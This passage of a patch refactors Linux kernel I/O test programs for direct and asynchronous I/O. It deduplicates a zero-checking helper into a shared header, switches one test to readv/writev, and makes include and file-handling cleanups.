 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/kernel/io/aio/aio02/Makefile b/testcases/kernel/io/aio/aio02/Makefile
index 7d71634..a99807c 100644
--- a/testcases/kernel/io/aio/aio02/Makefile
+++ b/testcases/kernel/io/aio/aio02/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/io/direct_io/diotest1.c b/testcases/kernel/io/direct_io/diotest1.c
index 4dd989c..327df6c 100644
--- a/testcases/kernel/io/direct_io/diotest1.c
+++ b/testcases/kernel/io/direct_io/diotest1.c
@@ -34,7 +34,7 @@
 #include <unistd.h>
 #include <signal.h>
 #include <string.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 
 #include "diotest_routines.h"
diff --git a/testcases/kernel/io/direct_io/diotest2.c b/testcases/kernel/io/direct_io/diotest2.c
index 15ae932..c407c46 100644
--- a/testcases/kernel/io/direct_io/diotest2.c
+++ b/testcases/kernel/io/direct_io/diotest2.c
@@ -69,6 +69,10 @@
 #define WRITE_DIRECT 2
 #define RDWR_DIRECT 3
 
+int fd1 = -1;
+char filename[LEN];
+int bufsize = BUFSIZE;
+
 /*
  * runtest: write the data to the file. Read the data from the file and compare.
  *	For each iteration, write data starting at offse+iter*bufsize
@@ -78,7 +82,7 @@
 {
 	char *buf1;
 	char *buf2;
-	int i, bufsize = BUFSIZE;
+	int i;
 
 	/* Allocate for buffers */
 	if ((buf1 = valloc(bufsize)) == 0) {
@@ -119,25 +123,19 @@
 	return 0;
 }
 
-/*
- * prg_usage: display the program usage.
-*/
-void prg_usage()
+static void prg_usage(void)
 {
 	fprintf(stderr,
 		"Usage: diotest2 [-b bufsize] [-o offset] [-i iterations] [-f filename]\n");
 	exit(1);
 }
 
-int fd1 = -1;
-char filename[LEN];
 static void setup(void);
 static void cleanup(void);
 
 int main(int argc, char *argv[])
 {
 	int iter = 100;		/* Iterations. Default 100 */
-	int bufsize = BUFSIZE;	/* Buffer size. Default 4k */
 	off64_t offset = 0;	/* Offset. Default 0 */
 	int i, action, fd_r, fd_w;
 	int fail_count = 0, total = 0, failed = 0;
diff --git a/testcases/kernel/io/direct_io/diotest3.c b/testcases/kernel/io/direct_io/diotest3.c
index 5ec4e18..92f7afa 100644
--- a/testcases/kernel/io/direct_io/diotest3.c
+++ b/testcases/kernel/io/direct_io/diotest3.c
@@ -49,7 +49,7 @@
 #include <unistd.h>
 #include <string.h>
 #include <sys/file.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/syscall.h>
 #include <errno.h>
 
@@ -74,10 +74,7 @@
 static int offset = 0;		/* Offset. Default 0 */
 static char filename[LEN];
 
-/*
- * prg_usage: display the program usage
-*/
-void prg_usage()
+static void prg_usage(void)
 {
 	fprintf(stderr,
 		"Usage: diotest3 [-b bufsize] [-o offset] [-n numchild] [-i iterations] [-f filename]\n");
@@ -96,7 +93,6 @@
 	char *buf1;
 	char *buf2;
 	off_t seekoff;
-	int bufsize = BUFSIZE;
 	int i;
 
 	/* Allocate for buffers */
diff --git a/testcases/kernel/io/direct_io/diotest4.c b/testcases/kernel/io/direct_io/diotest4.c
index d4d53b4..f3b7d3b 100644
--- a/testcases/kernel/io/direct_io/diotest4.c
+++ b/testcases/kernel/io/direct_io/diotest4.c
@@ -60,7 +60,7 @@
 #include <unistd.h>
 #include <signal.h>
 #include <sys/file.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/types.h>
 #include <sys/mman.h>
 #include <sys/syscall.h>
@@ -165,10 +165,7 @@
 	return (l_fail);
 }
 
-/*
- * prg_usage - Display the program usage
-*/
-void prg_usage()
+static void prg_usage(void)
 {
 	fprintf(stderr, "Usage: diotest4 [-b filesize_in_blocks]\n");
 	exit(1);
@@ -224,19 +221,19 @@
 		tst_brkm(TBROK, cleanup, "open failed for %s: %s",
 			 filename, strerror(errno));
 	}
-	if ((buf0 = valloc(BUFSIZE)) == NULL) {
+	if ((buf0 = valloc(bufsize)) == NULL) {
 		tst_brkm(TBROK, cleanup, "valloc() buf0 failed: %s",
 			 strerror(errno));
 	}
 	for (i = 1; i < fblocks; i++) {
-		fillbuf(buf0, BUFSIZE, (char)i);
-		if (write(fd, buf0, BUFSIZE) < 0) {
+		fillbuf(buf0, bufsize, (char)i);
+		if (write(fd, buf0, bufsize) < 0) {
 			tst_brkm(TBROK, cleanup, "write failed for %s: %s",
 				 filename, strerror(errno));
 		}
 	}
 	close(fd);
-	if ((buf2 = valloc(BUFSIZE)) == NULL) {
+	if ((buf2 = valloc(bufsize)) == NULL) {
 		tst_brkm(TBROK, cleanup, "valloc() buf2 failed: %s",
 			 strerror(errno));
 	}
@@ -284,7 +281,7 @@
 	total++;
 
 	/* Test-4: Read beyond the file size */
-	offset = BUFSIZE * (fblocks + 10);
+	offset = bufsize * (fblocks + 10);
 	count = bufsize;
 	if (lseek(fd, offset, SEEK_SET) < 0) {
 		tst_resm(TFAIL, "lseek failed: %s", strerror(errno));
diff --git a/testcases/kernel/io/direct_io/diotest5.c b/testcases/kernel/io/direct_io/diotest5.c
index fadcce2..9bf917c 100644
--- a/testcases/kernel/io/direct_io/diotest5.c
+++ b/testcases/kernel/io/direct_io/diotest5.c
@@ -51,7 +51,7 @@
 #include <unistd.h>
 #include <string.h>
 #include <sys/file.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/syscall.h>
 #include <sys/uio.h>
 #include <errno.h>
@@ -84,7 +84,7 @@
 */
 int runtest(int fd_r, int fd_w, int iter, off64_t offset, int action)
 {
-	int i, bufsize = BUFSIZE;
+	int i;
 	struct iovec *iov1, *iov2, *iovp;
 
 	/* Allocate for buffers and data pointers */
@@ -155,10 +155,7 @@
 	return 0;
 }
 
-/*
- * prg_usage: Display the program usage
-*/
-void prg_usage()
+static void prg_usage(void)
 {
 	fprintf(stderr,
 		"Usage: diotest5 [-b bufsize] [-o offset] [ -i iteration] [ -v nvector] [-f filename]\n");
diff --git a/testcases/kernel/io/direct_io/diotest6.c b/testcases/kernel/io/direct_io/diotest6.c
index 119aafb..00c2bab 100644
--- a/testcases/kernel/io/direct_io/diotest6.c
+++ b/testcases/kernel/io/direct_io/diotest6.c
@@ -39,7 +39,7 @@
 #include <unistd.h>
 #include <string.h>
 #include <sys/file.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/syscall.h>
 #include <sys/uio.h>
 #include <errno.h>
@@ -85,60 +85,87 @@
 int runtest(int fd_r, int fd_w, int childnum, int action)
 {
 	off64_t seekoff;
-	int i, bufsize = BUFSIZE;
-	char *buf1, *buf2;
+	int i, ret = -1;
+	ssize_t n = 0;
+	struct iovec *iov_r, *iov_w;
 
-	buf1 = valloc(BUFSIZE);
-	buf2 = valloc(BUFSIZE);
-
-	if (!buf1 || !buf2) {
-		tst_resm(TBROK | TERRNO, "valloc() failed");
-		free(buf1);
-		free(buf2);
-		return -1;
+	/* allocate read/write io vectors */
+	iov_r = calloc(nvector, sizeof(*iov_r));
+	iov_w = calloc(nvector, sizeof(*iov_w));
+	if (!iov_r || !iov_w) {
+		tst_resm(TBROK | TERRNO, "calloc failed for iovector array");
+		free(iov_r);
+		free(iov_w);
+		return ret;
 	}
 
-	/* Allocate for buffers and data pointers */
-	seekoff = offset + bufsize * childnum;
+	/* allocate buffers and setup read/write io vectors */
+	for (i = 0; i < nvector; i++) {
+		iov_r[i].iov_base = valloc(bufsize);
+		if (!iov_r[i].iov_base) {
+			tst_resm(TBROK | TERRNO, "valloc error iov_r[%d]", i);
+			goto err;
+		}
+		iov_r[i].iov_len = bufsize;
+	}
+	for (i = 0; i < nvector; i++) {
+		iov_w[i].iov_base = valloc(bufsize);
+		if (!iov_r[i].iov_base) {
+			tst_resm(TBROK | TERRNO, "valloc error iov_w[%d]", i);
+			goto err;
+		}
+		iov_w[i].iov_len = bufsize;
+	}
 
 	/* seek, write, read and verify */
+	seekoff = offset + bufsize * childnum * nvector;
 	for (i = 0; i < iter; i++) {
-		fillbuf(buf1, bufsize, childnum+i);
+		vfillbuf(iov_w, nvector, childnum+i);
 
 		if (lseek(fd_w, seekoff, SEEK_SET) < 0) {
 			tst_resm(TFAIL, "lseek before write failed: %s",
 				 strerror(errno));
-			return (-1);
+			goto err;
 		}
-		if (write(fd_w, buf1, bufsize) < bufsize) {
-			tst_resm(TFAIL, "write failed: %s", strerror(errno));
-			return (-1);
+		n = writev(fd_w, iov_w, nvector);
+		if (n < (bufsize * nvector)) {
+			tst_resm(TFAIL | TERRNO, "writev failed, ret = %ld", n);
+			goto err;
 		}
 		if (action == READ_DIRECT) {
 			/* Make sure data is on to disk before read */
 			if (fsync(fd_w) < 0) {
 				tst_resm(TFAIL, "fsync failed: %s",
 					 strerror(errno));
-				return (-1);
+				goto err;
 			}
 		}
 		if (lseek(fd_r, seekoff, SEEK_SET) < 0) {
 			tst_resm(TFAIL, "lseek before read failed: %s",
 				 strerror(errno));
-			return (-1);
+			goto err;
 		}
-		int ret;
-		if ((ret = read(fd_r, buf2, bufsize)) < bufsize) {
-			tst_resm(TFAIL, "read failed: %s", strerror(errno));
-			return (-1);
+		n = readv(fd_r, iov_r, nvector);
+		if (n < (bufsize * nvector)) {
+			tst_resm(TFAIL | TERRNO, "readv failed, ret = %ld", n);
+			goto err;
 		}
-		if (bufcmp(buf1, buf2, bufsize) != 0) {
+		if (vbufcmp(iov_w, iov_r, nvector) != 0) {
 			tst_resm(TFAIL, "comparsion failed. Child=%d offset=%d",
 				 childnum, (int)seekoff);
-			return (-1);
+			goto err;
 		}
 	}
-	return 0;
+	ret = 0;
+
+err:
+	for (i = 0; i < nvector; i++)
+		free(iov_r[i].iov_base);
+	for (i = 0; i < nvector; i++)
+		free(iov_w[i].iov_base);
+	free(iov_r);
+	free(iov_w);
+	return ret;
 }
 
 /*
diff --git a/testcases/kernel/io/disktest/Makefile b/testcases/kernel/io/disktest/Makefile
index 2b3308f..d10d984 100644
--- a/testcases/kernel/io/disktest/Makefile
+++ b/testcases/kernel/io/disktest/Makefile
@@ -52,7 +52,7 @@
 # the tests into dummy apps which print out TCONF messages due to
 # lack-of-build support.
 #
-# Signed-off-by: Garrett Cooper <yanegomi@gmail.com>
+# Signed-off-by: Ngie Cooper <yaneurabeya@gmail.com>
 #
 # Revision 1.11  2008/02/14 08:22:22  subrata_modak
 # Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
diff --git a/testcases/kernel/io/ltp-aiodio/Makefile b/testcases/kernel/io/ltp-aiodio/Makefile
index 383a646..49f5ab0 100644
--- a/testcases/kernel/io/ltp-aiodio/Makefile
+++ b/testcases/kernel/io/ltp-aiodio/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/io/ltp-aiodio/aio-stress.c b/testcases/kernel/io/ltp-aiodio/aio-stress.c
index 67d8acb..d6d7b08 100644
--- a/testcases/kernel/io/ltp-aiodio/aio-stress.c
+++ b/testcases/kernel/io/ltp-aiodio/aio-stress.c
@@ -1453,6 +1453,7 @@
 		perror("malloc");
 		exit(1);
 	}
+	memset(t, 0, num_threads * sizeof(*t));
 	global_thread_info = t;
 
 	/* by default, allow a huge number of iocbs to be sent towards
diff --git a/testcases/kernel/io/ltp-aiodio/aiodio_append.c b/testcases/kernel/io/ltp-aiodio/aiodio_append.c
index 56e9c09..39a529f 100644
--- a/testcases/kernel/io/ltp-aiodio/aiodio_append.c
+++ b/testcases/kernel/io/ltp-aiodio/aiodio_append.c
@@ -28,35 +28,17 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <signal.h>
+#include <errno.h>
 #include <fcntl.h>
 #include <unistd.h>
 
 #include <libaio.h>
 
+#include "test.h"
+
 #define NUM_CHILDREN 8
 
-char *check_zero(unsigned char *buf, int size)
-{
-	unsigned char *p;
-
-	p = buf;
-
-	while (size > 0) {
-		if (*buf != 0) {
-			fprintf(stderr,
-				"non zero buffer at buf[%d] => 0x%02x,%02x,%02x,%02x\n",
-				buf - p, (unsigned int)buf[0],
-				size > 1 ? (unsigned int)buf[1] : 0,
-				size > 2 ? (unsigned int)buf[2] : 0,
-				size > 3 ? (unsigned int)buf[3] : 0);
-			fprintf(stderr, "buf %p, p %p\n", buf, p);
-			return buf;
-		}
-		buf++;
-		size--;
-	}
-	return 0;		/* all zeros */
-}
+#include "common_checkzero.h"
 
 int read_eof(char *filename)
 {
@@ -115,8 +97,9 @@
 	io_queue_init(NUM_AIO, &myctx);
 
 	for (i = 0; i < NUM_AIO; i++) {
-		if (posix_memalign(&bufptr, 4096, AIO_SIZE)) {
-			perror("cannot malloc aligned memory");
+		TEST(posix_memalign(&bufptr, 4096, AIO_SIZE));
+		if (TEST_RETURN) {
+			tst_resm(TBROK | TRERRNO, "cannot malloc aligned memory");
 			return;
 		}
 		memset(bufptr, 0, AIO_SIZE);
diff --git a/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c b/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c
index 944e12b..d40e45b 100644
--- a/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c
+++ b/testcases/kernel/io/ltp-aiodio/aiodio_sparse.c
@@ -43,6 +43,7 @@
 #define NUM_CHILDREN 1000
 
 int debug;
+int fd;
 
 static void setup(void);
 static void cleanup(void);
@@ -56,10 +57,8 @@
 /*
  * do async DIO writes to a sparse file
  */
-int aiodio_sparse(char *filename, int align, int writesize, int filesize,
-		  int num_aio)
+int aiodio_sparse(int fd, int align, int writesize, int filesize, int num_aio)
 {
-	int fd;
 	int i, w;
 	struct iocb **iocbs;
 	off_t offset;
@@ -81,15 +80,6 @@
 		}
 	}
 
-	fd = open(filename, O_DIRECT | O_WRONLY | O_CREAT | O_EXCL, 0600);
-
-	if (fd < 0) {
-		tst_resm(TBROK | TERRNO, "open()");
-		return 1;
-	}
-
-	SAFE_FTRUNCATE(cleanup, fd, filesize);
-
 	/*
 	 * allocate the iocbs array and iocbs with buffers
 	 */
@@ -97,10 +87,9 @@
 	for (i = 0; i < num_aio; i++) {
 		void *bufptr;
 
-		if (posix_memalign(&bufptr, align, writesize)) {
-			tst_resm(TBROK | TERRNO, "posix_memalign()");
-			close(fd);
-			unlink(filename);
+		TEST(posix_memalign(&bufptr, align, writesize));
+		if (TEST_RETURN) {
+			tst_resm(TBROK | TRERRNO, "cannot allocate aligned memory");
 			return 1;
 		}
 		memset(bufptr, 0, writesize);
@@ -113,8 +102,6 @@
 	 */
 	if ((w = io_submit(myctx, num_aio, iocbs)) < 0) {
 		tst_resm(TBROK, "io_submit() returned %i", w);
-		close(fd);
-		unlink(filename);
 		return 1;
 	}
 
@@ -204,9 +191,6 @@
 		}
 	}
 
-	close(fd);
-	unlink(filename);
-
 	return 0;
 }
 
@@ -274,11 +258,16 @@
 	tst_resm(TINFO, "Dirtying free blocks");
 	dirty_freeblocks(filesize);
 
+	fd = SAFE_OPEN(cleanup, filename,
+		O_DIRECT | O_WRONLY | O_CREAT | O_EXCL, 0600);
+	SAFE_FTRUNCATE(cleanup, fd, filesize);
+
 	tst_resm(TINFO, "Starting I/O tests");
 	signal(SIGTERM, SIG_DFL);
 	for (i = 0; i < num_children; i++) {
 		switch (pid[i] = fork()) {
 		case 0:
+			SAFE_CLOSE(NULL, fd);
 			read_sparse(filename, filesize);
 			break;
 		case -1:
@@ -292,7 +281,7 @@
 	}
 	tst_sig(FORK, DEF_HANDLER, cleanup);
 
-	ret = aiodio_sparse(filename, alignment, writesize, filesize, num_aio);
+	ret = aiodio_sparse(fd, alignment, writesize, filesize, num_aio);
 
 	tst_resm(TINFO, "Killing childrens(s)");
 
@@ -331,6 +320,8 @@
 
 static void cleanup(void)
 {
+	if (fd > 0 && close(fd))
+		tst_resm(TWARN | TERRNO, "Failed to close file");
+
 	tst_rmdir();
-	tst_exit();
 }
diff --git a/testcases/kernel/io/ltp-aiodio/common_checkzero.h b/testcases/kernel/io/ltp-aiodio/common_checkzero.h
new file mode 100644
index 0000000..3ae3b56
--- /dev/null
+++ b/testcases/kernel/io/ltp-aiodio/common_checkzero.h
@@ -0,0 +1,45 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ *   This program is free software;  you can redistribute it and/or modify
+ *   it under the terms of the GNU General Public License as published by
+ *   the Free Software Foundation; either version 2 of the License, or
+ *   (at your option) any later version.
+ *
+ *   This program is distributed in the hope that it will be useful,
+ *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ *   the GNU General Public License for more details.
+ *
+ *   You should have received a copy of the GNU General Public License
+ *   along with this program;  if not, write to the Free Software
+ *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef LTP_AIODIO_COMMON_CHECKZERO
+#define LTP_AIODIO_COMMON_CHECKZERO
+
+static char *check_zero(char *buf, int size)
+{
+	char *p;
+
+	p = buf;
+
+	while (size > 0) {
+		if (*buf != 0) {
+			fprintf(stderr, "non zero buffer at buf[%u] => 0x%02x,%02x,%02x,%02x\n",
+				(unsigned int)(buf - p),
+				(unsigned int)buf[0],
+				size > 1 ? (unsigned int)buf[1] : 0,
+				size > 2 ? (unsigned int)buf[2] : 0,
+				size > 3 ? (unsigned int)buf[3] : 0);
+			return buf;
+		}
+		buf++;
+		size--;
+	}
+
+	return NULL;
+}
+
+#endif /* LTP_AIODIO_COMMON_CHECKZERO */
diff --git a/testcases/kernel/io/ltp-aiodio/common_sparse.h b/testcases/kernel/io/ltp-aiodio/common_sparse.h
index f7f4ef4..3819e00 100644
--- a/testcases/kernel/io/ltp-aiodio/common_sparse.h
+++ b/testcases/kernel/io/ltp-aiodio/common_sparse.h
@@ -19,6 +19,8 @@
 #ifndef LTP_AIODIO_COMMON_SPARSE
 #define LTP_AIODIO_COMMON_SPARSE
 
+#include "common_checkzero.h"
+
 /*
  * This code tries to create dirty free blocks on
  * the HDD so there is a chance that blocks to be allocated
@@ -77,28 +79,6 @@
 	return value;
 }
 
-char *check_zero(char *buf, int size)
-{
-	char *p;
-
-	p = buf;
-
-	while (size > 0) {
-		if (*buf != 0) {
-			fprintf(stderr, "non zero buffer at buf[%d] => 0x%02x,%02x,%02x,%02x\n",
-				buf - p, (unsigned int)buf[0],
-				size > 1 ? (unsigned int)buf[1] : 0,
-				size > 2 ? (unsigned int)buf[2] : 0,
-				size > 3 ? (unsigned int)buf[3] : 0);
-			return buf;
-		}
-		buf++;
-		size--;
-	}
-
-	return NULL;
-}
-
 /*
  * Make sure we read only zeroes,
  * either there is a hole in the file,
@@ -110,22 +90,7 @@
 	int  i, j, r;
 	char buf[4096];
 
-	/*
-	 * Wait for the file to appear.
-	 */
-	for (i = 0; i < 10000; i++) {
-		fd = open(filename, O_RDONLY);
-
-		if (fd != -1)
-			break;
-
-		if (debug)
-			fprintf(stderr, "Child %i waits for '%s' to appear\n",
-			        getpid(), filename);
-
-		usleep(100000);
-	}
-
+	fd = open(filename, O_RDONLY);
 	if (fd == -1) {
 		if (debug)
 			fprintf(stderr, "Child %i failed to open '%s'\n",
@@ -149,8 +114,8 @@
 			r = read(fd, buf, sizeof(buf));
 			if (r > 0) {
 				if ((badbuf = check_zero(buf, r))) {
-					fprintf(stderr, "non-zero read at offset %d\n",
-						offset + badbuf - buf);
+					fprintf(stderr, "non-zero read at offset %u\n",
+						(unsigned int)(offset + badbuf - buf));
 					exit(10);
 				}
 			}
diff --git a/testcases/kernel/io/ltp-aiodio/dio_append.c b/testcases/kernel/io/ltp-aiodio/dio_append.c
index 878c465..74446ac 100644
--- a/testcases/kernel/io/ltp-aiodio/dio_append.c
+++ b/testcases/kernel/io/ltp-aiodio/dio_append.c
@@ -35,35 +35,17 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <signal.h>
+#include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
 #include <unistd.h>
 #include <memory.h>
 #include <limits.h>
+
+#include "test.h"
 #define NUM_CHILDREN 8
 
-char *check_zero(unsigned char *buf, int size)
-{
-	unsigned char *p;
-
-	p = buf;
-
-	while (size > 0) {
-		if (*buf != 0) {
-			fprintf(stderr,
-				"non zero buffer at buf[%d] => 0x%02x,%02x,%02x,%02x\n",
-				buf - p, (unsigned int)buf[0],
-				size > 1 ? (unsigned int)buf[1] : 0,
-				size > 2 ? (unsigned int)buf[2] : 0,
-				size > 3 ? (unsigned int)buf[3] : 0);
-			fprintf(stderr, "buf %p, p %p\n", buf, p);
-			return buf;
-		}
-		buf++;
-		size--;
-	}
-	return 0;		/* all zeros */
-}
+#include "common_checkzero.h"
 
 int read_eof(char *filename)
 {
@@ -107,8 +89,10 @@
 		return;
 	}
 
-	if (posix_memalign(&bufptr, 4096, 64 * 1024)) {
-		perror("cannot malloc aligned memory");
+	TEST(posix_memalign(&bufptr, 4096, 64 * 1024));
+	if (TEST_RETURN) {
+		tst_resm(TBROK | TRERRNO, "cannot malloc aligned memory");
+		close(fd);
 		return;
 	}
 
diff --git a/testcases/kernel/io/ltp-aiodio/dio_sparse.c b/testcases/kernel/io/ltp-aiodio/dio_sparse.c
index 7ad5f80..67b338b 100644
--- a/testcases/kernel/io/ltp-aiodio/dio_sparse.c
+++ b/testcases/kernel/io/ltp-aiodio/dio_sparse.c
@@ -26,6 +26,7 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <signal.h>
+#include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
 #include <unistd.h>
@@ -44,6 +45,7 @@
 static void cleanup(void);
 static void usage(void);
 static int debug = 0;
+static int fd;
 
 char *TCID = "dio_sparse";
 int TST_TOTAL = 1;
@@ -53,48 +55,35 @@
 /*
  * Write zeroes using O_DIRECT into sparse file.
  */
-int dio_sparse(char *filename, int align, int writesize, int filesize)
+int dio_sparse(int fd, int align, int writesize, int filesize, int offset)
 {
-	int fd;
 	void *bufptr;
 	int i, w;
 
-	fd = open(filename, O_DIRECT | O_WRONLY | O_CREAT | O_EXCL, 0600);
-
-	if (fd < 0) {
-		tst_resm(TBROK | TERRNO, "open()");
-		return 1;
-	}
-
-	SAFE_FTRUNCATE(cleanup, fd, filesize);
-
-	if (posix_memalign(&bufptr, align, writesize)) {
-		close(fd);
-		tst_resm(TBROK | TERRNO, "posix_memalign()");
+	TEST(posix_memalign(&bufptr, align, writesize));
+	if (TEST_RETURN) {
+		tst_resm(TBROK | TRERRNO, "cannot allocate aligned memory");
 		return 1;
 	}
 
 	memset(bufptr, 0, writesize);
-	for (i = 0; i < filesize;) {
+	lseek(fd, offset, SEEK_SET);
+	for (i = offset; i < filesize;) {
 		if ((w = write(fd, bufptr, writesize)) != writesize) {
 			tst_resm(TBROK | TERRNO, "write() returned %d", w);
-			close(fd);
 			return 1;
 		}
 
 		i += w;
 	}
 
-	close(fd);
-	unlink(filename);
-
 	return 0;
 }
 
 void usage(void)
 {
 	fprintf(stderr, "usage: dio_sparse [-d] [-n children] [-s filesize]"
-		" [-w writesize]\n");
+		" [-w writesize] [-o offset]]\n");
 	exit(1);
 }
 
@@ -107,11 +96,12 @@
 	long alignment = 512;
 	int writesize = 65536;
 	int filesize = 100 * 1024 * 1024;
+	int offset = 0;
 	int c;
 	int children_errors = 0;
 	int ret;
 
-	while ((c = getopt(argc, argv, "dw:n:a:s:")) != -1) {
+	while ((c = getopt(argc, argv, "dw:n:a:s:o:")) != -1) {
 		char *endp;
 		switch (c) {
 		case 'd':
@@ -129,6 +119,10 @@
 			filesize = strtol(optarg, &endp, 0);
 			filesize = scale_by_kmg(filesize, *endp);
 			break;
+		case 'o':
+			offset = strtol(optarg, &endp, 0);
+			offset = scale_by_kmg(offset, *endp);
+			break;
 		case 'n':
 			num_children = atoi(optarg);
 			if (num_children > NUM_CHILDREN) {
@@ -148,11 +142,16 @@
 	tst_resm(TINFO, "Dirtying free blocks");
 	dirty_freeblocks(filesize);
 
+	fd = SAFE_OPEN(cleanup, filename,
+		O_DIRECT | O_WRONLY | O_CREAT | O_EXCL, 0600);
+	SAFE_FTRUNCATE(cleanup, fd, filesize);
+
 	tst_resm(TINFO, "Starting I/O tests");
 	signal(SIGTERM, SIG_DFL);
 	for (i = 0; i < num_children; i++) {
 		switch (pid[i] = fork()) {
 		case 0:
+			SAFE_CLOSE(NULL, fd);
 			read_sparse(filename, filesize);
 			break;
 		case -1:
@@ -166,7 +165,7 @@
 	}
 	tst_sig(FORK, DEF_HANDLER, cleanup);
 
-	ret = dio_sparse(filename, alignment, writesize, filesize);
+	ret = dio_sparse(fd, alignment, writesize, filesize, offset);
 
 	tst_resm(TINFO, "Killing childrens(s)");
 
@@ -205,5 +204,8 @@
 
 static void cleanup(void)
 {
+	if (fd > 0 && close(fd))
+		tst_resm(TWARN | TERRNO, "Failed to close file");
+
 	tst_rmdir();
 }
diff --git a/testcases/kernel/io/ltp-aiodio/dio_truncate.c b/testcases/kernel/io/ltp-aiodio/dio_truncate.c
index 7458a19..a2a201d 100644
--- a/testcases/kernel/io/ltp-aiodio/dio_truncate.c
+++ b/testcases/kernel/io/ltp-aiodio/dio_truncate.c
@@ -30,6 +30,7 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <signal.h>
+#include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
 #include <unistd.h>
@@ -37,6 +38,8 @@
 #include <string.h>
 #include <limits.h>
 
+#include "test.h"
+
 #define NUM_CHILDREN 8
 
 char *check_zero(unsigned char *buf, int size)
@@ -68,8 +71,9 @@
 	int r;
 	void *bufptr;
 
-	if (posix_memalign(&bufptr, 4096, 64 * 1024)) {
-		perror("cannot malloc aligned memory");
+	TEST(posix_memalign(&bufptr, 4096, 64 * 1024));
+	if (TEST_RETURN) {
+		tst_resm(TBROK | TRERRNO, "cannot malloc aligned memory");
 		return -1;
 	}
 
@@ -112,8 +116,10 @@
 		return;
 	}
 
-	if (posix_memalign(&bufptr, 4096, 64 * 1024)) {
-		perror("cannot malloc aligned memory");
+	TEST(posix_memalign(&bufptr, 4096, 64 * 1024));
+	if (TEST_RETURN) {
+		tst_resm(TBROK | TRERRNO, "cannot malloc aligned memory");
+		close(fd);
 		return;
 	}
 
diff --git a/testcases/kernel/io/ltp-aiodio/ltp-diorh.c b/testcases/kernel/io/ltp-aiodio/ltp-diorh.c
index 393f99d..3bdf623 100644
--- a/testcases/kernel/io/ltp-aiodio/ltp-diorh.c
+++ b/testcases/kernel/io/ltp-aiodio/ltp-diorh.c
@@ -38,7 +38,7 @@
 #include <stdio.h>
 #include <string.h>
 #include <errno.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/mman.h>
 #include <sys/wait.h>
 
diff --git a/testcases/kernel/io/ltp-aiodio/read_checkzero.c b/testcases/kernel/io/ltp-aiodio/read_checkzero.c
index 744178d..b48197a 100644
--- a/testcases/kernel/io/ltp-aiodio/read_checkzero.c
+++ b/testcases/kernel/io/ltp-aiodio/read_checkzero.c
@@ -33,28 +33,7 @@
 #include <stdio.h>
 #include <unistd.h>
 
-char *check_zero(unsigned char *buf, int size)
-{
-	unsigned char *p;
-
-	p = buf;
-
-	while (size > 0) {
-		if (*buf != 0) {
-			fprintf(stderr,
-				"non zero buffer at buf[%d] => 0x%02x,%02x,%02x,%02x\n",
-				buf - p, (unsigned int)buf[0],
-				size > 1 ? (unsigned int)buf[1] : 0,
-				size > 2 ? (unsigned int)buf[2] : 0,
-				size > 3 ? (unsigned int)buf[3] : 0);
-			fprintf(stderr, "buf %p, p %p\n", buf, p);
-			return buf;
-		}
-		buf++;
-		size--;
-	}
-	return 0;		/* all zeros */
-}
+#include "common_checkzero.h"
 
 int read_eof(char *filename)
 {
diff --git a/testcases/kernel/ipc/Makefile b/testcases/kernel/ipc/Makefile
index 10ae0e9..801c83a 100644
--- a/testcases/kernel/ipc/Makefile
+++ b/testcases/kernel/ipc/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/kernel/ipc/ipc_stress/.gitignore b/testcases/kernel/ipc/ipc_stress/.gitignore
deleted file mode 100644
index 397ee2d..0000000
--- a/testcases/kernel/ipc/ipc_stress/.gitignore
+++ /dev/null
@@ -1,26 +0,0 @@
-/message_queue_test_01
-/message_queue_test_02_ctl
-/message_queue_test_02_get
-/message_queue_test_02_rcv
-/message_queue_test_02_snd
-/message_queue_test_04
-/message_queue_test_05
-/pipe_test_01
-/pipe_test_02
-/semaphore_test_01
-/semaphore_test_02
-/semaphore_test_03
-/shmem_test_01
-/shmem_test_02
-/shmem_test_03
-/shmem_test_04
-/shmem_test_05
-/shmem_test_06
-/shmem_test_07
-/signal_test_01
-/signal_test_02
-/signal_test_03
-/signal_test_04
-/signal_test_05
-/signal_test_06
-/signal_test_07
